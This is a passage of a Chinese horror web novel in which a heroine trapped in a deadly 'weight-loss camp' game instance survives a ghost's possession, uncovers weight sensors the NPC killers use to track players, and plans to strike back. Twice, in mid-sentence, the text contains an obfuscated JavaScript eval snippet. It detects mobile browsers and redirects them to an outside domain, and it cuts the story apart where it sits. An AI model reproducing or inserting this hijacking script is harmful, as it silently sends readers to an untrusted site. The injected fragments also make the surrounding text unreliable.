脑子里像是住进来了一个吵闹的房客,一直叫嚷着同一个字,或者同一句话,似乎想让她被吵得受不了之后主动结束这一切。 [只有死……才能……] “才能……怎样?”林屿勉强维持着清醒,试图与附身灵对话,“你是……玩家……吗……” 附身灵听见这两个字忽然间被触发了什么,原本林屿感受到的是一股想要摧毁的愤怒,现在这股执念被一股更加强烈的悲哀浪潮掩盖,几乎要将感受相连的两人同时淹没。 林屿立刻运用技能“给予”出自己的冷静——自己现在的情绪波动比她小,借此稀释了附身灵的情绪感知,她似乎有所清醒,抢夺身体控制的动静变小了,让林屿能够完整地问出整句。 “你是玩家吗?在这个副本遇到了什么?” [……玩家……我……我是玩家……]附身灵的声音直接在脑海里被她感知。 [……我……原来我一直都……] 感知中的时间和实际的时间已经在两人争夺身体控制的拉扯间流逝,不知不觉间,两个运动空间的隔离已经消失,她的队友重新站在了她面前。 “林屿!”孟锦竹喊道,孙覃却拦住了她靠近的脚步,皱着眉打量着她。 “现在是什么情况?” “你现在是什么情况?”林屿也同时对附身灵问出了这句话。 43. 第四十三章 [我被杀死之后就一直在这里了……借助你们……才能出来……] “是谁杀的你?” 附身灵没有说话,惊恐的情绪一波又一波地传来,林屿不得不再次运用技能给她“输送”冷静。 [……是这里的NPC!他们是一群邪恶的疯子!他们不会放过每一个玩家!] 附身灵的情绪强度削减了,却依然没能冷静下来。 [你们出不去的……就和我、和我们一样……杀了你们……才能免于受苦……不如都死在这里,免得之后死得更痛苦……] 附身灵看见了她的队友,重新开始争夺身体的控制,要去掐他们的脖子。 林屿加大了技能输送“冷静”的力度,从牙缝里挤出一句话,“把我捆起来……带出这个房间……” 去找经理、董事长,或者任何一个NPC,这是之前商量好的“驱鬼”办法。 孟锦竹依言拿出绳子,和孙覃一同将她带出了这个活动间。一出房间,和那个附身灵的拉扯似乎容易了些,林屿通过两人同住一间“房子”的思维感知到了一些东西——“她”在恐惧。 黑漆漆的走廊,“她”喘着气,跌跌撞撞地奔跑。四周太黑了,“她”看不清,稀里糊涂间跌入了一个房间。 冰冷的地面, “她”急促的喘息清晰可闻,由于身位比寻常更低,门的位置像是一个巨大的黑影,她用手肘支撑着自己往后退去,然而门外的黑影却逐渐增大,最后几乎要压到她的头顶。漆黑的门洞就像充气一般长出了手脚,变成了人形。 “她”的后背抵上了寒意刺骨的墙面,惊慌、无助、疑惑、不甘、悔恨,“她”的头受到猛烈的重击,脸侧向一边,借助最后的清醒,她看见自己紧贴“墙面”无力滑落的面孔,和从墙面上蜿蜒淌下的大片漆黑液体。 “她”没有立刻死去,然而这确是噩梦的开端。“她”清醒地看到了一切,听到了一切,感受到了一切。 那个黑影扛着四肢和一根人棍走出了房间。 这是一个人死时的记忆,生前最后的一幕,充满了突遭横死的愤怒和极致的痛苦,而这痛苦是直接传递到林屿脑海里的,就像是一个漆黑的漩涡,几乎要将她的心神也拽进去融为一体。 传递的记忆几乎让她对这些情绪感同身受,并与这些痛苦共振了,本来靠着“给予”清醒来维持附身灵理智,从而让自己远离情绪污染的做法差不多失去了效果,她在另一个人的执念中陷得越来越深,而脑海里的那个声音也越来越大。 [杀了他们,让他们解脱。] 林屿开始挣扎起来,大力地挣扎,绳索从保护变成了阻碍,她想要伸出手去,扼住他们的脖子,让他们痛痛快快地死亡,不要经历那么恐怖的终局。 队友们一开始以为是她回神了,然而看见她的表情,眼中的希望变成了忧虑。 “马上……就到了……” “……再坚持一下……” 断断续续的安慰传进林屿的耳朵,让她勉力清醒了一丝。 已经走到三楼的楼梯口,马上就到三楼董事长办公室,见到那个恐怖的NPC,附身灵就会逃走,她身上的问题就解决了。 林屿和附身灵拉锯着,却略松了一口气。 还好有解决办法。 董事长办公室近在咫尺,而这时,门开了,从里面走出一个人。 □□拦在众人面前,像是并不意外他们的到来。 “董事长有事要忙,请回吧。” 孟锦竹急的上火喊道:“我们有重要的事找他!” □□:“什么事?” 孟锦竹卡壳,“……总之我们要见他,讨论关于健身减脂的事!” □□:“健身减脂的事我也能管,你直接和我说。” 他依然不为所动,就像是特意拦在这里的一样。 孙覃向队友使了个颜色,就开启了技能,手臂变成金属色,他打算硬闯。□□有所察觉,警告的目光投过来,气氛一下子紧张起来。 孟锦竹扯了扯队友的袖子,小声道:“别起冲突……你忘了董事长第一天就杀了一个玩家的事?我们先去找经理,经理应该也可以。” 孙覃犹豫了一下,手臂上的金属色缓缓退去,两人扶住林屿,就要拐一个弯去经理办公室。 “……等等。” 就在这时,一个声音从牙缝里挤了出来,两个队友惊讶地看向声源,只见他们的队友脸上交织着两种变换的神色,便明白她此时的情况。 林屿勉强挣脱出附身灵的影响,对□□说道:“我们是来找董事长谈合同的,我们想改动合同内容,你做不了主。” “这样啊……”□□迟疑着,像是难以判断这个时候应该怎么做。 这时门开了。 “让他们进来。” □□依言放行。 孟锦竹呼出一口气,心却再次悬了上去,可以进去了,可是,他们也即将面对那个危险的人物,她看了看身边两个同伴,捏了捏充满汗迹的手心,颤抖着双腿跨过门槛。 董事长坐在主桌后方,身体依在座椅的靠背上,冷淡地看着来人。 在进门的一瞬间,林屿的身体骤然一轻,有什么不属于她的东西从身上消失了,她知道,那是附身灵——或者说附身她的玩家灵魂,解除了附身,逃走了。 林屿一阵轻松,无论是身体还是精神,都像是经历过一场折磨,后知后觉地大汗淋漓,“可以松开绳子了吗?”她提醒队友。 “哦……哦!”两人反应过来,手忙脚乱地解开了她身上的绳子。 虽然三人来到办公室的状态十分滑稽,就好像是绑匪劫持了人质在索要钱财的态势,然而董事长的态度却没有一分一毫的变化,依旧冰冷漠然,仿佛在看一场闹剧。 “你们要改合同?”董事长不带情绪地问道。 林屿看着他的眼神,霎时感受到一股压力,她毫不怀疑只要说错一句话,自己的下场也会和第一天惨死的肖昌盛一样。 “不是改动合同,是有些条例想重新商议一下,在 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但是她只有这一次机会,下一次再提同样的要求大概率被他厌烦,而他的底线又是那样的低,几乎毫无道德感,做出什么举动是她无法预料的。 然而他们必须尽可能快地离开副本,所以不得不明确通关的条件,而条件大概率就是减重的斤数——就写在那张所谓的“合同”上。 □□走到几人面前,比了个请他们离开的动作。 两个队友略微站起,然而林屿依然在座位上没动。两道逼视的目光投在她的身上。 “你可以提条件。”林屿说道,她忽然从一次次与贺望的交谈中得来了一丝灵感,交换。如果请求无效,那么就展现合作的价值。 坐在主桌的男人轻蔑地说道:“你们能又做到什么呢?” 林屿的目光落在他交叉的手上,十根手指一览无余,“你似乎有所烦恼,我们虽然无用,但是可以充当你的眼睛和耳目,有了消息可以告诉你,作为你给我们看合同的交换。” 他左手无名指上的戒指不见了,联想到贺望昨晚躲人的举动,多半就是他干的,反正他神秘莫测,擅长逃跑,林屿决定以此为突破口,作为交换条件。 董事长放下手,沉下脸色,似乎被她这句话冒犯了,却迟迟没有拒绝这个提议,“不要让我发现你和那个卑劣的小偷有关系,找到他,带过来,我给你们看合同。” “我们似乎没有绑人过来的实力,有了消息告诉你不行吗?”林屿讨价还价。 “那是你们的事。”董事长冷淡地说道。 好吧,她不该期待一个高高在上、藐视他人的NPC能善解人意。 “不过你说的小偷是谁,长什么样?我们总得知道你要找谁吧?”林屿装作不知道情况的样子,“他偷了你的什么?” “上次你们身边的那个员工。”董事长阴沉地回答,“不要消耗我的耐心。” 林屿耸耸肩,和队友一起走出了办公室。 44. 第四十四章 “我的妈呀!太吓人了!”几人走到楼梯口,孟锦竹拍了拍胸口,一脸后怕,“你就不怕哪句话没对他让我们也暴毙了吗?” 林屿忧郁道:“我怕我们再拖延几天就只有暴毙在副本里了。” 现在的情况是,她要不要把贺望卖给董事长换取通关情报呢?想想还有点可惜,好不容易才缓和剑拔弩张的关系呢。虽然状况不乐观,但还不到再次翻脸的程度,晚上见到他以后再说吧,不过她必须在明天之前做出决定。 在被附身过之后,她的眼睛似乎能把黑气看得更清楚了,原本模模糊糊的、察觉不到的,现在已经可以大致看个囫囵。 她看了看自己的手,又看了看身边的队友,心中涌现出一阵紧迫的压力——他们三人的身上,已经浮现出一层若有若无的黑气。 ——你们出不去了。 她又想起来到副本以后得到的种种提醒,心中升起一股事态失控的焦虑感,她不认为第一天之后就一定不能离开,却不知道到什么程度就是无法离开副本的临界点,对副本的危险她有所猜测,却不能肯定危险只有那么几处来源,现在的情况是,他们没有容错的机会。 一个粗心大意的疏忽,或许就是完全不同的结局。 “对了,刚才你为什么不去经理的办公室呢?”孟锦竹问道。 “你发现了?”林屿还以为他们没有察觉到这一点,刚才她主动阻止他们去经理的房间,但这种行为在当时可以看成想保证自己得救的求生欲,毕竟董事长能驱灵是经过验证的,而经理的效果不清楚。 “你觉得经理不能办到吗?” 林屿沉默了一瞬,“不,恰好相反,他是最有可能赶走附身灵的那个人。” 她回过头看了离楼梯口更近的经理办公室一眼,带领队友们下楼后才说道:“但那会让我引起他的注意,增加今晚被选中的概率——那个玩家,就是被他杀死的,肢解。” 在附身玩家死前最后的记忆里,漆黑的走廊,冰冷的墙面,和能够看见自己面孔的房间,都明明白白昭示着一件事——她在熄灯后的二楼,跑进了那间镜子房间。 是什么让一个玩家不顾规则跑出去?答案只有一个,因为她的床下钻出了一个人。 而林屿之所以肯定杀害“她”的是经理,不是因为她看见了凶手的面孔,而是她看到□□从董事长房间出来,让她想到了□□在夜晚问服务的举动。 他留下来大概率是可以保护玩家的免受床底侵扰的,而他听从董事长的命令。 虽然他也许同时也会听经理的命令,但是无论从现实情况还是副本里发生的事情来看,董事长的命令是优先于经理的,他更多是董事长这一方的人,那么床底爬出的人是谁就很好猜了——大概率是经理,因为厨师肥胖的身躯会让他很难挤出床下的缝隙。 不过,副本的这两个特别的NPC是怎么回事?他们不是一条心的吗? 林屿把被附身时看到的场面和队友们说了一下。 “什么!!!”孟锦竹听完林屿的描述,背上激起一层恐惧又恶心的鸡皮疙瘩,寒流从尾椎骨一直涌到头顶,“他竟然——简直看不出来——这个副本里的NPC是不是都是变态杀人狂啊!” 林屿苦笑,“床下有暗道,淋浴间有暗门,器材有问题,饭菜被动了手脚,让我想起了以前看到的猎奇事件,据说有一个变态,建造了一座遍布机关的杀人城堡,最后连他的助手一家都被他杀死了……” “停停停,你别说了,这也太身临其境了吧!说得我晚上都不敢睡觉了……”孟锦竹欲哭无泪地搓着手臂,“呜,我今天还想和你一间的,但我改变主意了,还是和警察叔叔一间有安全感。” 孙覃无奈地笑了一下,问道:“房间里没有监控,所以玩家怎么选房间其实有操作空间的,你要不要也过来一起?” 林屿十动然拒,她晚上其实并不孤单呢。 何况,她得试探一下贺望的价码,来决定是否绑了他去换合同。 “那……我们现在怎么办?那个要找的NPC你有眉目了吗?”孟锦竹缓过来以后,开始忧虑董事长的要求,她也知道那些所谓“合同”的重要性。 她咬了咬嘴唇,没有把“你是不是认识那个NPC”的话问出来。 “不急,我们先去一趟镜子房间。”林屿回答。 孙覃有些着急,“去做什么?你不能再被附身一次了!” “不需要再去找那个鬼魂了,能问的已经问了。”林屿走在前面解释道,“我们去称重。既然是减重营,而合同上大概率写了我们需要完成的斤数指标,那么算一算我们一天的运动能减下多少,之后看到合同就知道我们需要留几天才能完成任务了,不过……” 孟锦竹的心悬了起来,“不过?” “不过,这是副本没有问题的情况下的通关方式,如果需要很多天的话,我们等不到那个时候。” 林屿来到镜子房间的身高体重机前面,两只脚踏上去。她凝视着数字,微不可查地皱眉。 “减了,数字也很正常,但是……”她顿了顿,“你们之前称过吗?” 两人点点头,这么显眼的机器摆在这,副本又是这个主题,他们自然第一天就称过,并且记下了体重数字,只不过没有发现什么问题。 这些器材在开启运动之后会消失,也并没有发现什么危险性。 孟锦竹下了称,“减了几十克,一天能有这个变化已经不错了,你发现什么了吗?” 林屿沉默了一会儿,“我在想如果我们要完成的减重值很大,得多久才能完成,那个时候坟头草都高了。” “呸呸呸,不要说不吉利的话,我们一定能平平安安地出去的!”孟锦竹连忙道。 “所以你的意思是我们不能把希望寄托在正常通关上吗?”孙覃问道。 “是的,或许我们应该想一个另外的通关方式,或者至少得在副本中保住性命。” “你有办法了吗?”孙覃又问道。 “暂时还没有,不过有一点思路……我们先去吃午饭吧。”林屿从楼道中瞥见一个人从玩家房间一侧的走廊出现,径直下了一楼。 …… 钱刚打了饭坐在座位上,就看到和他有过节的那个玩家进门,这次她身后跟着两个不熟的面孔,这让他感到焦 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然而林屿只是看了他一眼,丝毫不为所动。□□注意到了这边的动静,目光投向钱刚,一丝一毫也没分给林屿——他不知道玩家用了技能。 钱刚被NPC不善的目光扫视了一会儿,坐回座位,他也明白了原委,然而他并没有打算忍下这口气。 林屿听见面前长桌发出的反常“咯吱”声时立刻退后了好几步,而她这个举动恰好躲过桌面裂开,饭菜倾倒的危险,一阵杂乱的哗啦碰撞,这条宽厚的长桌从中间裂成两半,露出内里—— 木质的外壳下,厚度反常的桌面中竟然伸出了几根断掉的电线和金属电路板! 林屿离得最近,因此清楚地看到了这一切,□□很快赶来挡住她的视线,沉下脸道:“你破坏公物。” 孟锦竹和孙覃虽然在另一边没有轻举妄动,但神色明显变得紧张,开始担心他们的队友。 仿佛开局一幕重演,林屿却更加游刃有余,“你觉得我有这么大力气?你一直在看,知道我什么也没做,不过这样的情况好像发生过啊?就在第一天有人想逃跑的时候。” □□的目光从在座玩家身上转了一圈,最后将矛头对准了第一天试图逃跑的人,他走到钱刚面前,“先生,请跟我走一趟,到办公室商议赔偿问题。” 钱刚自然不愿意,“你哪只眼睛看到是我动手?血口喷人!” 两人就这样拉扯起来。 林屿找了个位置单独坐下,囫囵完成了午餐,或者说早午餐,她看着钟摆指向十点的指针,盘算着自己另外两顿饭什么时候吃。 她并不怎么担心自己会因为方才的举动受到惩罚,毕竟技能是没有证据的事,而会因没有证据就动手的董事长不在这里,其他NPC还是相对遵守副本规则的。 像钱刚,不就一次也没有因为使用技能而受到惩罚吗? 她猜得没错,最终钱刚没有被带去受罚,只不过,她并没有失落和无法出口恶气的憋闷,取餐长桌上摆放的花瓶和桌盘依旧牢固地嵌在台上,花瓶里鲜艳的假花之间,些微的红光一闪而过。 今晚不会是个平安夜。 45. 第四十五章 这种加厚的桌面不过是为了掩饰里面动过的手脚罢了,传感器,他们用这个东西监测每份饭菜的重量变化,再根据监控看到来推测每个玩家拿走的分量,那些精准的报数不过是个幌子,是用来唬人的东西,毕竟大差不差的情况下没有谁会怀疑。 他们装作能够掌控玩家的空间背包,并且在第一天杀掉带头者,加深玩家的恐慌,让玩家陷入无尽猜测和恐惧的循环,进而更深一步引导玩家的行为。 而他们想要达到的目的,就是所有玩家乖乖遵守他们制定的规则,吃下这些有问题的食物,并且每天运动。 林屿想到自己身上的黑气,如果说食物是这些黑气的来源的话,那么运动又在其中起什么作用呢? 她走出餐厅时脚步停留了一下,回头凝望着座位上的玩家,她的队友身上也隐约涌现出一股黑蒙蒙的颜色,和她在副本NPC身上观察到的怨气一模一样,也和她身上怨气的程度相差无几。 然而,另一头,在她努力调换的视角之下,钱刚却和一个黑色的煤球差不多,浑身上下被黑沉沉的一团东西覆盖,虽然比不过第一个副本看到的小丽,但他看上去却已经不像个人了。 林屿眨了眨眼睛,专注凝目的状态被打断,这下视角回到了正常的状态,能够看清钱刚的面目了,不过,他的脸色依旧泛着铁青,不知是刚才的气还没有消还是其他什么原因。 她和队友对视一眼,走了出去。 林屿站在楼梯间,想了想,先回了一趟房间。之前她就是看见钱刚从玩家房间这边下楼,她才跟着进的餐厅,毕竟是晚上要住的地方,谨慎一些总是好的。 来到昨夜住的最靠里的房间,林屿转动把手,还没推门,把手就从门扇上脱落了,她拿着手中的金属看了一会儿,心里满是无语。 估计屋子里没有什么东西是好的了,这就是钱刚报复的方式?真是让人无语,幼稚得像小学生。 现在已经空出来两个房间,他就不想想自己晚上可不一定会住这里。 推开已经锁不上的门,林屿从门口往里看,让她意外的是,屋子里其它东西依然原封不动,没有什么损坏,她查看了一圈,衣柜里她包回来的耳朵还在,香薰也还在,床没有挪动的痕迹,这让她松了一口气。 然而检查到窗户的时候,上面的锁扣和门锁一样,轻轻一碰就直直脱落窗框,“啪嗒”一声清脆地砸在地上,骨碌碌滚了几个圈到碰到墙面反弹到角落里去了。 林屿抽了抽嘴角,心里已经完全明白了钱刚打的什么主意。他打算让自己没办法阻挡夜里敲门的NPC,他还以为NPC是想伤害玩家才敲的门。 伤害性不大,侮辱性也几乎没有。 只是依然给她造成了一点不便,一个房间不能没有阻隔的功能,就算□□不是威胁,她也得防备其他人从外面进来。 或者,换个房间?可惜今天早上那对情侣的房间门锁已经被踢坏了。 林屿最后拿着脱落的门锁和窗户锁去了经理办公室。敲了半天等丁经理开门之后,她把这两样东西往办公桌上一放,说道:“我要举报,钱刚故意损坏营地设施,我看见他对我的房间动手脚,不知道用了什么办法把这些锁头弄坏了,而且他刚才还在餐厅弄坏了一张桌子。” 丁经理黑着脸,拨弄了桌面上的锁头一会儿,着重检查了断口的地方。林屿默不作声地看着参差不齐的断口往下掉金属碎屑,有些碎屑甚至还粘在了经理的手指上,折射出和他头顶一样亮眼的反光。 “不是你故意弄坏的?”经理问道。 “我怎么会有这种力气,而且每次有什么东西坏的时候他都碰过或者在旁边,这也太巧了吧?”林屿摆出真诚的姿态,而且,这也是实话。 经理也想到了这一点,他脸色愈发难看,手指捏成拳头,无意间在桌面上重重敲了一下,做出一个想要攻击泄愤的动作。 林屿这回来没有悠闲地坐在待客位上了,她一想到经理在夜晚的恐怖行动就是一阵反胃,本以为杀人魔只有董事长一个,没想到这个看上去松松垮垮的秃顶也是一样,在面对他时警惕心已经提高到和面对董事长的同一程度。 然而她依然用轻松的语气说着话,“能不能给我找找胶带、螺丝刀、起子以及螺钉之类的东西,还有新锁,我回去修一修,不过要是你们不严惩钱刚,估计过一阵我又得找你,我怕刚修好就又坏了。” “你等着。”经理丢下这句话进了里间,林屿目送他的背影消失在门后,忽然手脚迅速地绕到了他的办公桌正面,趁着电脑还没黑屏在上面寻找起来。 监控、监控! 林屿找到了被折叠的窗口,看到了空空如也的餐厅。 □□正在收拾残局,而她的队友和钱刚都不在里面了,看样子也没有其他人进来。她把窗口恢复原样,又点开了最显眼的一个程序。 325,134,837,1062,783…… 十几个数字排列在黑色的背景上,其中有几个本该是数字的地方显示为乱码。林屿愣了愣,随后恍然大悟,这个就是餐盘上食物的重量!那些乱码明显对应损坏的取餐桌上餐盘的数量。 然而除了这几个数字外,还有一排数字吸引了她的注意。 114,-5,-1000,109,19 她皱了皱眉,忽然听见嘎吱的开门声,心头一跳,迅速将新开的程序关闭往原来的位置走。 丁经理找完东西一出来就看见林屿靠在办公桌边上,低着头不知在想什么,目光一变。 他的眼神在她和电脑上转了一圈,她的位置似乎看不见屏幕,不过这么近的距离仍然让他心生警惕。 把厚胶带和螺钉往桌面上一放,他没好气地说道:“你要的东西只有这两样,我这里可不是什么杂物间,你用得上就用,用不上就换房间!” 林屿没什么抗拒地拿过胶带和螺钉,却站着没动。 “你还有什么事?”丁经理已经把身体“啪”地甩到座椅里,看上去完全没有任何耐心了。他双眼浑浊,紧盯着面前的玩家,那眼神让林屿浑身不适。 那不是看同类的眼神,甚至不是看人的眼神,充满了阴森与贪婪。 林屿起了一背鸡皮疙瘩,本来还想问一问贺望希望她打探的事,想了想还是没有开口,现在不是询问的时候。 “我还需要一把手电筒,房间灯光太暗,装锁可是个精细活。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495287|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 丁经理从办公桌的抽屉里摸出一把,啪地放到桌面上。 “谢谢你,你真是一位尽职尽责的负责人。”林屿带上需要的东西,留下一句不怎么诚意的恭维,迅速离开了这个房间。 “呼……”林屿回到房间,靠在无法关上的房门背后,缓缓坐了下来。她的背后有冷汗淌下,刚才她有一种无端生出的直觉,在钱刚之后,就轮到自己了。 必须得想办法,无论是通关副本也好,通关失败去小黑屋也好,不能再被这些NPC玩弄生死,操控一切了。 但是要现在放弃探查到的一切自我了断脱离副本又心有不甘,她已经察觉到这个副本所隐藏的巨大价值——如果能弄明白那几个NPC是为什么能脱离副本的掌控,操控规则,那么玩家是不是也可以用同样的方式脱离副本的掌控呢? 背后敲门声响起。 田子阳的声音隔着一道门传进来,“刚才我看见你进房间了,想提醒一下你,之前钱刚来过你的房间。” “……我知道。”林屿打开房门,对着光秃秃的锁孔示意道,“这就是他的杰作。” “嘶,这可真过分。”田子阳说道,“你今晚还住这个房间吗?你让我踹开钱刚不让他进门,不如你我一间,把他赶过来。” “不用”林屿让开空间让他进来。 “可是……”田子阳依然认为这个房间不安全。 “你心里也清楚,我们的情况不容乐观,如果这两天还是完不成任务,大概率会被困在副本里了。”林屿直接开门见山。 田子阳神色也凝重起来,“我不能确定具体到了什么程度就不能离开,但在我的眼里,我们和NPC的差别越来越小,同化的速度太快了。” “而且……现在我们依然没有收到任何一条系统消息,也根本不知道通关条件是什么。” 林屿点了一下头,“这就是问题了,而且我觉得即使知道通关条件也不一定能在完全同化之前达成,而在完全同化之前即使达成条件也不一定能被系统接走,所以,我不打算走正常通关这条路。” “……你想到什么了吗?”田子阳问道。 “在告诉你之前,我想问你一个问题。”林屿看向他,“你和钱刚的关系似乎没有我想的那么糟,他有危险你会去帮他吗?” 田子阳眯起眼睛,“为什么会这么觉得,我和他可是一见面就打起来了。” “那是因为你嘴贱。”林屿一针见血,“你们认识,还有矛盾,可是他在副本里只针对过我。所以,你们到底是什么关系?” 田子阳盯着她,忽然展脸一笑,“看来是他要倒霉了,你想对付他?” “你也是玩家公会的人。”林屿笃定地说道,同时,他看见田子阳眼里闪过猝不及防的神色,更加确信了这个答案。 他们有旧怨,互相之间关系也不怎么好,然而昨晚他们就在隔壁,一整晚都没弄出什么动静,说明没有打架,没有争吵谩骂、互相使绊子,他们之间必定有什么在平衡矛盾。 林屿觉得最大的可能就是他们属于同一个团体,所以才互相留有底线,所以钱刚才会先针对她这个“外人”。 她猜对了。 46. 第四十六章 林屿不再多说,把他请了出去,“只要你不向他透露情况,不给他帮忙,并且今晚不和他一间,我们就依然是合作关系,只要有任何有关离开副本的消息都会与你共享。” 这并不是多么过分的要求,她让他做的只是旁观,他只要什么也不说,什么也不做,就能够不费吹灰之力地获得更多别人冒着生命危险探听来的副本消息。 田子阳在走廊上扒住门框,经过一阵沉默的纠结,他最终说道:“第一天你告诉我的那扇铁门,我没找到入口,但根据房间的布局,我推测入口在三楼办公室那边。” 林屿感受到他态度的变化,“我会想办法查探的,你不是疑惑我为什么不怕晚上□□敲门吗?他本身不是危险,甚至大概率能帮我们免除床下暗道的危险,只不过需要玩家交付运动时间。” “我说的这里能继续住,就是这个原因。不过建议你不要做规则之外多余的付出。” 林屿默然目送他离开的背影,田子阳以为自己要在今晚谋害钱刚,他或许会提前告知他,或许不会,但他猜错了。 田子阳走后,过了一会儿,孙覃和孟锦竹也打开了这扇没有门锁门把手的多灾多难门,看见了盯着断耳看的林屿。 她看见两人,重新把这个东西扔到衣柜里,听到孟锦竹紧张的询问,“这个东西还没消失?” 林屿也很想立刻知道答案,不过她仍然安慰道:“晚上就知道了,十二点才会刷新尸体,如果这个没有被刷新,就说明之前的猜测是正确的,玩家将逐渐脱离系统的保护,副本的伤害会真正作用于身体,我们的处境将会非常不妙。” “来了这么久我还从来没有碰到过这种事!希望只是虚惊一场。”孟锦竹十分不安。 其实之前小黑屋的事故虽然现在不常被提起,但她显然想到了这一层,何况她自身技能还一直在失控中,她现在仍然用着韩舒的外貌就是因为回到自己原本的模样时反而像是开了技能,一直消耗精神,反而是变成别人只会在变化的过程中消耗,维持的时候反而不会。 事故之后,当时在小黑屋里的玩家在过了七天的最大惩罚时间之后仍然没有一个人出现,言教授也是如此,他至今生死未知,这些都明晃晃地昭示着“游戏世界”一直处于不稳定的变化之中,那么像囚困一批玩家在副本里这种很容易想到的bug也就不足为奇了。 “我们至今也没有收到任何一条系统消息或者任务提示,用常规办法通关已经不可靠了。”林屿说道,“你们过的本比我多,有没有发现NPC的弱点是什么?” 这个时候问弱点是想做什么? 孙覃:“弱点,你是指……” “能够杀死他们的地方。”林屿直截了当,她看着两人的眼睛,“俗话说不能解决问题,那就解决问题的源头。大源头也就是这个世界我们暂时解决不了,但是这个副本里的危险源头我们可以解决掉,这样即使一时半会儿想不到离开的办法,我们也可以活命。” 孟锦竹震惊地瞪大眼睛,她第一次见到有人想要谋害NPC,通常而言NPC都会在副本通关上发挥至关重要的作用,而且他们本身和规则一体,有些神出鬼没,有些能力诡异,与NPC直接对上无疑会把自己置于十分危险的境地。 孙覃也是一样的想法,“每个NPC特点不一样,有些本身就类同死尸或者鬼魂,用一般手段对付不了。” “但他们不是。”林屿说道,“这几种类型我都遇到过,他们并不是死尸或者鬼魂类别的NPC,我曾经目睹过正常NPC被杀死的场面,他们无法对物理攻击免疫。” 孟锦竹:“万一他们杀不死呢?” “那又怎样?分尸,一个房间关一截,只要影响不到我们就行。”林屿一点也不在乎这个问题,她已经做出了选择,不准备再按照原先的经验按部就班通关,她不愿意把自己的安危交到这个沉默的系统或者游戏机制手上了。 孙覃的内心有点难以形容,他感觉自己好像在参与一项犯罪,而面前这姑娘仿佛具有某种潜质,放在外面是一定要好好被教育的那种。 不过她说的也有道理,到目前为止,系统一声不吭,就好像消失了一样,如果他们不能被接出副本,那么所做的一切努力都是白费,何况还有那些让人不得不认真对待的种种线索,都在一声一声、一句一句地警示着他们: 不要再继续了。 你们出不去了。 你们会真的死去。 他们必须为自己的生存考虑。孙覃终于说服了自己,也克服了自身职业对使用这种非常规手段的阻挠之心,他必须以玩家的人生安全为重,而不是NPC的。 NPC虽然看上去与人无异,但他们却并不像正常的人。极端、诡异、神经质、反复无常、偏执执着,他们更像是预先设定好的,阻挠玩家通关的障碍。 即使能够和他们如常人一般对话,却并不会真的把他们当做人来看待。 孙覃同意了这个方案,问道:“你之前问弱点,就是想知道给他们造成物理上的致命伤能不能杀死他们?” “是也不是,我真正想问的,是言教授有没有说过什么有关的事,你们说过他的技能是看透敌人的弱点。” 两人仔细回忆,一时陷入了沉思,而林屿趁着这段时间来到自己昨夜休息的床边,用力把床垫抬起,而这时孙覃走来搭了把手,两人一起吧床垫竖着侧翻过来。 “教授下副本的次数不多,我在这方面没什么印象。”孙覃说道,“你要做什么?” 林屿没有答话,先是检查了一遍床架之间,然后在床垫下方仔细摸索着。 孙覃:“是找什么东西吗?” “这里。”她终于摸到了一块硬的地方,使劲按了按,“里面有东西。” 林屿从背包中拿出匕首,不得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495288|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说这个从钱刚手中捡来的道具一直很有用处,她用这把刀划开洁白的布料,看到了弹簧,以及安在弹簧下方的一个传感器。 一切都对上了。 这个副本的NPC不存在什么分尸行动、化实为虚的能力,也没有监控系统背包、甄别玩家的方式,一切都是靠着科技手段,他们在餐厅和各个房间安装摄像头,在餐盘下安装重量传感器,造成能够看透玩家背包的错觉。 在床底的传感器依然显示的是重量——在丁经理的办公室,那五个数字就是证明,其中一张床因为失去了被子所以重量为-1000,负一千克,正好能对上。 而这个数字,就是经理在夜里甄别不同玩家,准确找上目标猎物的依据。 人体重的差别是很大的,身高、胖瘦、性别,在不到十人的范围内只要稍加区分,就能一一对应。 林屿证实了自己的猜测,却有新的疑问浮现在心间。这里的NPC,似乎并不具备前两个副本中NPC的一种能力——一种不言自明的能力。 第一个副本里那四个NPC在夜里能够自动出现在玩家房间,精准地找上好感度最高的玩家,他们的一举一动,喜恶和情感,都有系统的提示。第二个副本里的NPC在山间小屋的选搭档游戏中,随着玩家拿起卡片自动出现,自动消失。 他们与规则融为一体,他们是副本的延伸,而这里的规则却都是NPC的口述,他们也不具备洞察玩家一举一动的能力,所以才需要那么多监控。 “这是什么?”孟锦竹也来到两人旁边,盯着那块床垫里的金属疙瘩看,“是不是每个床底都有这个东西?” 林屿取下传感器,丢在衣柜里,把自己的发现和他们说了一遍,包括餐厅里的布置,“他们就是这样吧玩家唬得团团转,让我们乖乖遵守他们制定的规则,然后收割、狩猎,如果我们不反抗,一个也逃不掉。” 孟锦竹的脸色变得凝重,“你刚才不是问NPC弱点的事吗?言教授提过他们的后颈有些奇怪,不一定是弱点,但也许是个突破口。” “我知道了,有两件事需要你们帮忙。” …… 林屿打开从丁经理那里要来“修门”的手电筒,弯着腰沿着漆黑的甬道前行,手电筒的光凝聚成一道视线,在漆黑的世界搜寻着出路。 她从床底走下了暗道,而里面的空间比想象中的要大。 这里每一个楼层的面积其实很大,然而房间三三两两地分布,可见空间远小于实际能用的空间,二楼三楼只有一条畅通的走廊和两边的房间,林屿特意留意了一下,玩家房间不对应一楼任何位置,现在看来,这里是被修成了暗处的通道。 